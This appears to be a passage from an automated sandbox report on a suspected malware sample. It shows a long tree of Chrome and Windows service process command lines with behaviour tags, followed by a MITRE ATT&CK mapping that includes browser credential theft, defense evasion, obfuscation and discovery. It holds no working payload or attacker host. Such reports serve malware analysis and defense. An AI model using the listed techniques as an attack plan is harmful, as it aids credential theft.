                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --force-high-res-timeticks=disabled --metrics-shmem-handle=6184,i,13314448008402578268,11302478338282265740,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6216 /prefetch:8
                                                                                                                                    2⤵
                                                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                    PID:4844
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6524,i,5648838848577957862,7957900401426559107,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6512 /prefetch:8
                                                                                                                                    2⤵
                                                                                                                                      PID:3308
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6520,i,10818778164960526557,6715407036646094085,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6504 /prefetch:8
                                                                                                                                      2⤵
                                                                                                                                        PID:1008
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6516,i,16125126452959177833,623890821209734648,524288 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6496 /prefetch:8
                                                                                                                                        2⤵
                                                                                                                                          PID:4608
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6872,i,1338297569155959121,10046613724893433438,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6064 /prefetch:1
                                                                                                                                          2⤵
                                                                                                                                            PID:4996
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6692,i,15916769663400617737,6773835141274917488,262144 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6196 /prefetch:8
                                                                                                                                            2⤵
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            PID:116
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=6868,i,4827564089821264748,4454777566029757324,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5504 /prefetch:1
                                                                                                                                            2⤵
                                                                                                                                              PID:5352
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6616,i,5280324876422616137,592412915573681655,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6476 /prefetch:1
                                                                                                                                              2⤵
                                                                                                                                                PID:5032
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=7000,i,14084003828335674675,18410188726890871076,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6104 /prefetch:1
                                                                                                                                                2⤵
                                                                                                                                                  PID:3476
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=7156,i,8668059813189964402,857377409856254505,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=7148 /prefetch:1
                                                                                                                                                  2⤵
                                                                                                                                                    PID:2728
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6880,i,14840650558510937348,10316048321163015238,2097152 --field-trial-handle=2076,i,11797907818056156331,5813005864812554470,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4476 /prefetch:1
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1232
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                    1⤵
                                                                                                                                                      PID:4332
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1500
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                        1⤵
                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        • Modifies registry class
                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                        PID:5104
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa58b0c728,0x7ffa58b0c734,0x7ffa58b0c740
                                                                                                                                                          2⤵
                                                                                                                                                            PID:4880
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1692,i,8149516545832762348,16817449546388951747,262144 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=1964 /prefetch:2
                                                                                                                                                            2⤵
                                                                                                                                                              PID:5060
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2228,i,2543230962858388219,13746278935803629337,524288 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=2224 /prefetch:3
                                                                                                                                                              2⤵
                                                                                                                                                              • System Time Discovery
                                                                                                                                                              PID:1308
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2336,i,1399481420886260602,8006023807408918580,524288 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=2560 /prefetch:8
                                                                                                                                                              2⤵
                                                                                                                                                                PID:3652
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3224,i,15409286878845685727,17782861958741125591,2097152 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=3252 /prefetch:1
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4980
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3228,i,17118740860531611119,7253891979324692205,2097152 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=3296 /prefetch:1
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:5304
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4548,i,17242355620142490317,10125134715838487069,2097152 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=4564 /prefetch:1
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3828
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5328,i,917300439212875194,11926972072268409370,524288 --field-trial-handle=1980,i,14676891387804580005,2796842852592624693,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=5332 /prefetch:8
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:116
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:4256
                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:4024
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                          PID:4304
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa58b0c728,0x7ffa58b0c734,0x7ffa58b0c740
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:2184
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1920,i,16603375288000542778,10935451570764460954,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=2076 /prefetch:3
                                                                                                                                                                              2⤵
                                                                                                                                                                              • System Time Discovery
                                                                                                                                                                              PID:3004
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,5427257449172229631,14391087390144477571,262144 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=2040 /prefetch:2
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:3388
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2376,i,12224536764557578238,12457969739656082369,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=2552 /prefetch:8
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:5628
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,2037310535006198083,4230193700471318970,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=3140 /prefetch:1
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:4264
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,16565467021735939895,1318912428949212946,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=3188 /prefetch:1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:2124
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4488,i,5407811450388579301,4987744862143796978,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=4644 /prefetch:1
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:868
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5340,i,4617515332540304232,18378880444351576109,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=5352 /prefetch:8
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:3296
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5552,i,15203022898630146629,6157437336523251054,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=5348 /prefetch:1
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:5488
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=3424,i,12765855818781894584,4711197885671741270,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=3192 /prefetch:8
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:2992
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4336,i,9932711041795330051,3658566791495327385,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=4512 /prefetch:1
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5744
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=3264,i,12802485820868680244,14590428304802605571,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=3340 /prefetch:1
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:3008
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6016,i,2824788678501534160,9180673476114805488,2097152 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=6036 /prefetch:1
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:4040
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --force-high-res-timeticks=disabled --metrics-shmem-handle=6412,i,5798318413363625934,8531542801348297126,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=6240 /prefetch:8
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4620
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6028,i,6262260450443566524,17961748803930469827,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=5348 /prefetch:8
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:5996
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5636,i,15637596463205912186,17652929296163382719,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=5672 /prefetch:8
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:3664
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5680,i,8751019780590088479,9465964882578165923,524288 --field-trial-handle=2044,i,7345902254131733565,1114513820195222428,262144 --variations-seed-version=20260418-030034.010000-production --mojo-platform-channel-handle=5604 /prefetch:8
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:5596
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:3056

                                                                                                                                                                                                          Network

                                                                                                                                                                                                                MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                Reconnaissance

                                                                                                                                                                                                                Resource Development

                                                                                                                                                                                                                Initial Access

                                                                                                                                                                                                                Execution

                                                                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1059

                                                                                                                                                                                                                PowerShell

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1059.001

                                                                                                                                                                                                                Persistence

                                                                                                                                                                                                                Event Triggered Execution

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1546

                                                                                                                                                                                                                Netsh Helper DLL

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1546.007

                                                                                                                                                                                                                Privilege Escalation

                                                                                                                                                                                                                Event Triggered Execution

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1546

                                                                                                                                                                                                                Netsh Helper DLL

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1546.007

                                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                                Hide Artifacts

                                                                                                                                                                                                                2
                                                                                                                                                                                                                T1564

                                                                                                                                                                                                                Hidden Files and Directories

                                                                                                                                                                                                                2
                                                                                                                                                                                                                T1564.001

                                                                                                                                                                                                                Impair Defenses

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1562

                                                                                                                                                                                                                Disable or Modify Tools

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1562.001

                                                                                                                                                                                                                Obfuscated Files or Information

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1027

                                                                                                                                                                                                                Command Obfuscation

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1027.010

                                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                                Credentials from Password Stores

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1555

                                                                                                                                                                                                                Credentials from Web Browsers

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1555.003

                                                                                                                                                                                                                Unsecured Credentials

                                                                                                                                                                                                                3
                                                                                                                                                                                                                T1552

                                                                                                                                                                                                                Credentials In Files

                                                                                                                                                                                                                3
                                                                                                                                                                                                                T1552.001

                                                                                                                                                                                                                Discovery

                                                                                                                                                                                                                Browser Information Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1217

                                                                                                                                                                                                                Peripheral Device Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1120

                                                                                                                                                                                                                Process Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1057

                                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                                4
                                                                                                                                                                                                                T1012

                                                                                                                                                                                                                Remote System Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1018

                                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                                6
                                                                                                                                                                                                                T1082

                                                                                                                                                                                                                System Network Configuration Discovery

                                                                                                                                                                                                                2
                                                                                                                                                                                                                T1016

                                                                                                                                                                                                                Internet Connection Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1016.001

                                                                                                                                                                                                                Wi-Fi Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1016.002

                                                                                                                                                                                                                System Time Discovery

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1124

                                                                                                                                                                                                                Lateral Movement

                                                                                                                                                                                                                Collection

                                                                                                                                                                                                                Clipboard Data

                                                                                                                                                                                                                1
                                                                                                                                                                                                                T1115

                                                                                                                                                                                                                Data from Local System

                                                                                                                                                                                                                2
                                                                                                                                                                                                                T1005

                                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                                Exfiltration

                                                                                                                                                                                                                Impact

                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                Downloads

